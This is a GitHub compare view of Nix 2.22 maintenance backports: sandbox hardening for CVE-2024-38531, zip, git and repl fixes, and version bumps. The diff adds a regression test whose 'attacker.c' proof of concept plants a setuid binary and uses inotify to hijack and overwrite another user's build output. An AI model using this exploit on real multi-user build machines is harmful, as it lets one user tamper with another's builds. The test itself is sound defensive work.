Compare commits

...

33 Commits

Author SHA1 Message Date
Eelco Dolstra
fcaa72bdc7 Merge pull request #11044 from NixOS/backport-11031-to-2.22-maintenance
[Backport 2.22-maintenance] libstore: fix sandboxed builds on macOS
2024-07-05 17:39:27 +02:00
Emily
a500c90375 libstore: fix sandboxed builds on macOS
The recent fix for CVE-2024-38531 broke the sandbox on macOS
completely. As it’s not practical to use `chroot(2)` on
macOS, the build takes place in the main filesystem tree, and the
world‐unreadable wrapper directory prevents the build from accessing
its `$TMPDIR` at all.

The macOS sandbox probably shouldn’t be treated as any kind of a
security boundary in its current state, but this specific vulnerability
wasn’t possible to exploit on macOS anyway, as creating `set{u,g}id`
binaries is blocked by sandbox policy.

Locking down the build sandbox further may be a good idea in future,
but it already has significant compatibility issues. For now, restore
the previous status quo on macOS.

Thanks to @alois31 for helping me come to a better understanding of
the vulnerability.

Fixes: 1d3696f0fb
Closes: #11002
(cherry picked from commit af2e1142b1)
2024-07-05 15:09:00 +00:00
Emily
1a46fb95dd libstore: clean up the build directory properly
After the fix for CVE-2024-38531, this was only removing the nested
build directory, rather than the top‐level temporary directory.

Fixes: 1d3696f0fb
(cherry picked from commit 76e4adfaac)
2024-07-05 15:09:00 +00:00
Robert Hensing
5911f66eba Merge pull request #11028 from NixOS/backport-11022-to-2.22-maintenance
[Backport 2.22-maintenance] Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
2024-07-03 20:27:41 +02:00
John Ericson
ca78fd9304 Remove invalid release notes YAML field
There is no PR for this, since it was an embargoed fix before
disclosure.

(cherry picked from commit 32e67eba8b)
2024-07-03 20:01:49 +02:00
kn
a06453e45f Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
getsockopt(2) documents this;  ucred is wrong ("cr_" member prefix, no pid).

(cherry picked from commit 10ccdb7a41)
2024-07-03 15:57:13 +00:00
John Ericson
e39cf2fa86 Ident some CPP in nix daemon
Makes it easier for me to read.

(cherry picked from commit a09360400b)
2024-07-03 15:57:13 +00:00
Eelco Dolstra
2de34c5d5f Bump version 2024-06-27 12:26:48 +02:00
tomberek
f5b7733e55 Merge pull request from GHSA-q82p-44mg-mgh5
Fix sandbox escape 2.22
2024-06-26 18:49:22 -04:00
Eelco Dolstra
54b27fcc60 Fix --no-sandbox
When sandboxing is disabled, we cannot put $TMPDIR underneath an
inaccessible directory.

(cherry picked from commit d54590fdf3)
2024-06-21 17:16:52 +02:00
Eelco Dolstra
a82010789e Formatting
(cherry picked from commit 58b7b3fd15)
2024-06-21 17:16:48 +02:00
Eelco Dolstra
f5f0d30597 Put the chroot inside a directory that isn't group/world-accessible
Previously, the .chroot directory had permission 750 or 755 (depending
on the uid-range system feature) and was owned by root/nixbld. This
makes it possible for any nixbld user (if uid-range is disabled) or
any user (if uid-range is enabled) to inspect the contents of the
chroot of an active build and maybe interfere with it (e.g. via /tmp
in the chroot, which has 1777 permission).

To prevent this, the root is now a subdirectory of .chroot, which has
permission 700 and is owned by root/root.

(cherry picked from commit ede95b1fc1)
2024-06-21 17:16:44 +02:00
Théophane Hufschmitt
51909005e0 Add a release note for the build-dir hardening
(cherry picked from commit d99c868b04)
2024-06-21 17:16:39 +02:00
Théophane Hufschmitt
8c20f0fc33 Run the builds in a daemon-controled directory
Instead of running the builds under
`$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them
under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}`
where the build directory is only readable and traversable by the daemon user.

This achieves two things:

1. It prevents builders from making their build directory world-readable
   (or even writeable), which would allow the outside world to interact
   with them.
2. It prevents external processes running as the build user (either
   because that somehow leaked, maybe as a consequence of 1., or because
   `build-users` isn't in use) from gaining access to the build
   directory.

(cherry picked from commit 1d3696f0fb)
2024-06-21 17:16:37 +02:00
Théophane Hufschmitt
f8f1d7eb54 Add a test for the user sandboxing
(cherry picked from commit 717f3eea39)
2024-06-21 17:16:33 +02:00
Robert Hensing
329ed85134 Merge pull request #10859 from NixOS/backport-10858-to-2.22-maintenance
[Backport 2.22-maintenance] flake check: Recognize well known homeModule/homeModules attribute
2024-06-05 13:45:32 +02:00
Enno Richter
0a78a55d51 flake check: Recognize well known homeModule/homeModules attributes
(cherry picked from commit 80ba7778e7)
2024-06-05 11:15:00 +00:00
Robert Hensing
283d68c4c7 Merge pull request #10846 from NixOS/backport-9897-to-2.22-maintenance
[Backport 2.22-maintenance] libutil/url: fix git+file:./ parse error
2024-06-04 11:07:42 +02:00
Bryan Lai
4f68558c9a libutil/url: fix git+file:./ parse error
Previously, the "file:./" prefix was not correctly recognized in
fixGitURL; instead, it was mistaken as a file path, which resulted in a
parsed url of the form "file://file:./".

This commit fixes the issue by properly detecting the "file:" prefix.
Note, however, that unlike "file://", the "file:./" URI is _not_
standardized, but has been widely used to referred to relative file
paths. In particular, the "git+file:./" did work for nix<=2.18, and was
broken since nix 2.19.0.

Finally, this commit fixes the issue completely for the 2.19 series, but
is still inadequate for the 2.20 series due to new behaviors from the
switch to libgit2. However, it does improve the correctness of parsing
even though it is not yet a complete solution.

(cherry picked from commit 8594f3cd5a)
2024-06-04 08:27:15 +00:00
John Ericson
37ef226e61 Merge pull request #10808 from Mic92/fix-repl
[2.22-maintainance]: backport nix repl edit fixes
2024-05-30 15:11:06 -04:00
eihqnh
f00aa37873 nix repl: make runNix() isInteractive is true by default
(cherry picked from commit bb1a4ea21a)
2024-05-30 19:15:37 +02:00
Sarah Brofeldt
12967aea53 nix repl: hide progress bar during :edit
(cherry picked from commit e5f509ef0b)
2024-05-30 19:15:28 +02:00
Eelco Dolstra
374715cb44 Merge pull request #10721 from NixOS/backport-10675-to-2.22-maintenance
[Backport 2.22-maintenance] Handle zip files containing symlinks
2024-05-16 09:51:54 +02:00
github-actions[bot]
0d42fd0dcf remove link to relocated manual page (#10707)
fix old anchor redirects to point to the correct location

(cherry picked from commit 45697ba502)

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-05-15 22:41:41 +02:00
github-actions[bot]
682c71855c Revert "manual: fold sidebar sections" (#10700)
(cherry picked from commit 937e7bae48)

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-05-15 22:40:57 +02:00
Eelco Dolstra
92b4adcab8 Handle zip files containing symlinks
In streaming mode, libarchive doesn't handle symlinks in zip files
correctly. So write the entire file to disk so libarchive can access
it in random-access mode.

Fixes #10649. This was broken in cabee98152.

(cherry picked from commit 9951e14ae0)
2024-05-15 20:07:41 +00:00
Eelco Dolstra
f06bf9d4f7 Merge pull request #10692 from NixOS/backport-10686-to-2.22-maintenance
[Backport 2.22-maintenance] git putFile: support flake maximalists
2024-05-13 15:55:39 +02:00
Graham Christensen
0b245b7ad1 git putFile: support flake maximalists
Passing the commit message as an argument causes update failures on repositories with lots of flake inputs. In some cases, the commit message is over 250,000 bytes.

(cherry picked from commit 8b5e8f4fba)
2024-05-13 13:32:11 +00:00
Eelco Dolstra
031f7a7750 Bump version 2024-05-10 11:35:30 +02:00
Robert Hensing
adba2f19a0 Merge pull request #10669 from NixOS/backport-10588-to-2.22-maintenance
[Backport 2.22-maintenance] Fix fetchGit/fetchTree for nested submodules
2024-05-09 11:28:48 +02:00
Robert Hensing
293d59382e Fix fetchGit nested submodules
(cherry picked from commit 750bcaa330)
2024-05-09 09:07:45 +00:00
Eelco Dolstra
1c8150ac31 Bump version 2024-04-23 14:12:50 +02:00
Eelco Dolstra
5fd799cfa7 Mark official release 2024-04-23 11:01:23 +02:00
24 changed files with 385 additions and 38 deletions

View File

@@ -1 +1 @@
2.22.0
2.22.3

View File

@@ -6,8 +6,6 @@ additional-css = ["custom.css"]
additional-js = ["redirects.js"]
edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}"
git-repository-url = "https://github.com/NixOS/nix"
fold.enable = true
fold.level = 1
[preprocessor.anchors]
renderers = ["html"]

View File

@@ -290,10 +290,10 @@ const redirects = {
"ssec-gc-roots": "package-management/garbage-collector-roots.html",
"chap-package-management": "package-management/index.html",
"sec-profiles": "package-management/profiles.html",
"ssec-s3-substituter": "package-management/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter": "store/types/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"sec-sharing-packages": "package-management/sharing-packages.html",
"ssec-ssh-substituter": "package-management/ssh-substituter.html",
"chap-quick-start": "quick-start.html",

View File

@@ -0,0 +1,7 @@
---
synopsis: Harden the user sandboxing
significance: significant
issues:
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View File

@@ -42,7 +42,6 @@
- [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
- [Copying Closures via SSH](package-management/copy-closure.md)
- [Serving a Nix store via SSH](package-management/ssh-substituter.md)
- [Serving a Nix store via S3](package-management/s3-substituter.md)
- [Remote Builds](advanced-topics/distributed-builds.md)
- [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md)
- [Verifying Build Reproducibility](advanced-topics/diff-hook.md)

View File

@@ -26,7 +26,7 @@
inherit (nixpkgs) lib;
inherit (lib) fileset;
officialRelease = false;
officialRelease = true;
version = lib.fileContents ./.version + versionSuffix;
versionSuffix =
@@ -183,7 +183,7 @@
nix =
let
officialRelease = false;
officialRelease = true;
versionSuffix =
if officialRelease
then ""
@@ -195,7 +195,7 @@
stdenv
versionSuffix
;
officialRelease = false;
officialRelease = true;
boehmgc = final.boehmgc-nix;
libgit2 = final.libgit2-nix;
busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;

View File

@@ -137,12 +137,13 @@ void runNix(Path program, const Strings & args,
{
auto subprocessEnv = getEnv();
subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue();
//isInteractive avoid grabling interactive commands
runProgram2(RunOptions {
.program = settings.nixBinDir+ "/" + program,
.args = args,
.environment = subprocessEnv,
.input = input,
.isInteractive = true,
});
return;
@@ -508,7 +509,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
// runProgram redirects stdout to a StringSink,
// using runProgram2 to allow editors to display their UI
runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args });
runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true });
// Reload right after exiting the editor
state->resetFileCache();

View File

@@ -155,9 +155,27 @@ DownloadTarballResult downloadTarball(
// TODO: fall back to cached value if download fails.
AutoDelete cleanupTemp;
/* Note: if the download is cached, `importTarball()` will receive
no data, which causes it to import an empty tarball. */
TarArchive archive { *source };
auto archive =
hasSuffix(toLower(parseURL(url).path), ".zip")
? ({
/* In streaming mode, libarchive doesn't handle
symlinks in zip files correctly (#10649). So write
the entire file to disk so libarchive can access it
in random-access mode. */
auto [fdTemp, path] = createTempFile("nix-zipfile");
cleanupTemp.reset(path);
debug("downloading '%s' into '%s'...", url, path);
{
FdSink sink(fdTemp.get());
source->drainInto(sink);
}
TarArchive{path};
})
: TarArchive{*source};
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);

View File

@@ -343,7 +343,8 @@ struct GitInputScheme : InputScheme
logger->pause();
Finally restoreLogger([]() { logger->resume(); });
runProgram("git", true,
{ "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-m", *commitMsg });
{ "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" },
*commitMsg);
}
}
}
@@ -642,6 +643,8 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("ref", submodule.branch);
attrs.insert_or_assign("rev", submoduleRev.gitRev());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =
submoduleInput.getAccessor(store);
@@ -696,6 +699,9 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("type", "git");
attrs.insert_or_assign("url", submodulePath.abs());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
// TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out
// attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =

View File

@@ -501,8 +501,24 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take
place. */
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
#if __APPLE__
if (false) {
#else
if (useChroot) {
#endif
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access.
On macOS, we don't use an actual chroot, so this isn't
possible. Any mitigation along these lines would have to be
done directly in the sandbox profile. */
tmpDir = topTmpDir + "/build";
createDir(tmpDir, 0700);
} else {
tmpDir = topTmpDir;
}
chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) {
@@ -670,15 +686,19 @@ void LocalDerivationGoal::startBuilder()
environment using bind-mounts. We put it in the Nix store
so that the build outputs can be moved efficiently from the
chroot to their final location. */
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir);
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootParentDir);
/* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir);
@@ -2951,7 +2971,7 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
void LocalDerivationGoal::deleteTmpDir(bool force)
{
if (tmpDir != "") {
if (topTmpDir != "") {
/* Don't keep temporary directories for builtins because they
might have privileged stuff (like a copy of netrc). */
if (settings.keepFailed && !force && !drv->isBuiltin()) {
@@ -2959,7 +2979,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force)
chmod(tmpDir.c_str(), 0755);
}
else
deletePath(tmpDir);
deletePath(topTmpDir);
topTmpDir = "";
tmpDir = "";
}
}

View File

@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
std::optional<Path> cgroup;
/**
* The temporary directory.
* The temporary directory used for the build.
*/
Path tmpDir;
/**
* The top-level temporary directory. `tmpDir` is either equal to
* or a child of this directory.
*/
Path topTmpDir;
/**
* The path of the temporary directory in the sandbox.
*/
@@ -65,6 +71,16 @@ struct LocalDerivationGoal : public DerivationGoal
*/
bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir;
/**

View File

@@ -469,6 +469,11 @@ void deletePath(const Path & path)
deletePath(path, dummy);
}
void createDir(const Path & path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path)
{

View File

@@ -184,6 +184,11 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path));
}
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/**
* Create a symlink.
*/

View File

@@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url)
std::regex scpRegex("([^/]*)@(.*):(.*)");
if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex))
return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3");
else {
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
} else
return url;
if (hasPrefix(url, "file:"))
return url;
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
}
return url;
}
// https://www.rfc-editor.org/rfc/rfc3986#section-3.1

View File

@@ -770,6 +770,8 @@ struct CmdFlakeCheck : FlakeCommand
|| name == "flakeModules"
|| name == "herculesCI"
|| name == "homeConfigurations"
|| name == "homeModule"
|| name == "homeModules"
|| name == "nixopsConfigurations"
)
// Known but unchecked community attribute

View File

@@ -202,7 +202,11 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
ucred cred;
# if defined(__OpenBSD__)
struct sockpeercred cred;
# else
ucred cred;
# endif
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -210,9 +214,9 @@ static PeerInfo getPeerInfo(int remote)
#elif defined(LOCAL_PEERCRED)
#if !defined(SOL_LOCAL)
#define SOL_LOCAL 0
#endif
# if !defined(SOL_LOCAL)
# define SOL_LOCAL 0
# endif
xucred cred;
socklen_t credLen = sizeof(cred);

View File

@@ -44,7 +44,10 @@ test_custom_build_dir() {
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir="$customBuildDir/nix-build-"*
local buildDir="$customBuildDir/nix-build-"*""
if [[ -e $buildDir/build ]]; then
buildDir=$buildDir/build
fi
grep $checkBuildId $buildDir/checkBuildId
}
test_custom_build_dir

View File

@@ -170,3 +170,45 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url =
[[ -e $pathWithoutExportIgnore/exclude-from-root ]]
[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]]
test_submodule_nested() {
local repoA=$TEST_ROOT/submodule_nested/a
local repoB=$TEST_ROOT/submodule_nested/b
local repoC=$TEST_ROOT/submodule_nested/c
rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix
initGitRepo $repoC
touch $repoC/inside-c
git -C $repoC add inside-c
addGitContent $repoC
initGitRepo $repoB
git -C $repoB submodule add $repoC c
git -C $repoB add c
addGitContent $repoB
initGitRepo $repoA
git -C $repoA submodule add $repoB b
git -C $repoA add b
addGitContent $repoA
# Check non-worktree fetch
local rev=$(git -C $repoA rev-parse HEAD)
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath")
test -e $out/b/c/inside-c
test -e $out/content
test -e $out/b/content
test -e $out/b/c/content
local nonWorktree=$out
# Check worktree based fetch
# TODO: make it work without git submodule update
git -C $repoA submodule update --init --recursive
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath")
find $out
[[ $out == $nonWorktree ]] || { find $out; false; }
}
test_submodule_nested

View File

@@ -0,0 +1,6 @@
source common.sh
# Test symlinks in zip files (#10649).
path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath)
[[ $(cat $path/foo) = foo ]]
[[ $(readlink $path/bar) = foo ]]

Binary file not shown.

View File

@@ -16,6 +16,7 @@ nix_tests = \
flakes/absolute-attr-paths.sh \
flakes/build-paths.sh \
flakes/flake-in-submodule.sh \
flakes/prefetch.sh \
gc.sh \
nix-collect-garbage-d.sh \
remote-store.sh \

View File

@@ -162,4 +162,6 @@ in
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
}

View File

@@ -0,0 +1,82 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}

View File

@@ -0,0 +1,129 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}